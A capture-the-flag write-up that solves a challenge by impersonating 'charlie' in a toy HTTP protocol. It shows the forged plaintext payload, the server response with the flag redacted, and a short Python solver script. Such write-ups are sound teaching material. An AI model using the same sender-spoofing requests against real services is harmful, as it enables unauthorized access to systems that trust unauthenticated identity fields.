Protocol Analysis 2: Liar

Platform: metactf | Category: Forensics | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-04-10 | Status: Solved Techniques: protocol_replay, sender_impersonation, unauthenticated_protocol_abuse

Summary

Task: a PDF-defined HTTP POST protocol has Bob release the flag if he receives a specific plaintext sequence ending with the sender name charlie. Solution: create a fresh model 2 session, impersonate Charlie by changing the name field in the posted message, and read the flag from Bob's response.

Protocol Analysis 2: Liar — metactf

Description

All protocol messages are HTTP POST requests to https://protocols.live.

Alice sends: "Hello", B, "this is", A, "give me the flag"

Bob expects to recv: "Hello", B, "this is", C, "give me the flag"

Bob then sends: "here it is", [FLAG]

English summary: the challenge gives a scripted message flow for a live HTTP-based protocol. Bob releases the flag if he receives the right plaintext sequence and the sender name is charlie, but the protocol never authenticates who actually sent the request.

Analysis

The key flaw is trust in a user-controlled identity field. Alice's scripted request uses n:alice, while Bob's acceptance logic expects the same message except for n:charlie.

Because every protocol action is just an HTTP POST to https://protocols.live, the attacker can submit arbitrary content directly to Bob. There is no signature, shared secret, session binding to a real participant, or any other proof that the sender is actually Charlie. Bob only checks the plaintext fields, so impersonation is enough.

The winning payload is:

 text read-only • copy allowed Copy
t:Hello|n:bob|t:this is|n:charlie|t:give me the flag

Submitting that to /bob in a fresh /model/2 session returns:

 json read-only • copy allowed Copy
{"content":"t:here it is|t:DawgCTF{REDACTED}"}

Solution

1. Start a new challenge instance with POST /model/2.
2. Record the returned conn_id.
3. Send the forged content t:Hello|n:bob|t:this is|n:charlie|t:give me the flag to POST /bob.
4. Read Bob's response and extract the flag from the returned plaintext field.

Minimal solver:

 python read-only • copy allowed Copy
#!/usr/bin/env python3

import requests

BASE = "https://protocols.live"
PAYLOAD = "t:Hello|n:bob|t:this is|n:charlie|t:give me the flag"


def main():
    session = requests.Session()

    create = session.post(f"{BASE}/model/2")
    create.raise_for_status()
    conn_id = create.json()["conn_id"]

    resp = session.post(
        f"{BASE}/bob",
        json={"conn_id": conn_id, "content": PAYLOAD},
    )
    resp.raise_for_status()

    print(resp.json()["content"])


if __name__ == "__main__":
    main()

Example output:

 text read-only • copy allowed Copy
t:here it is|t:DawgCTF{REDACTED}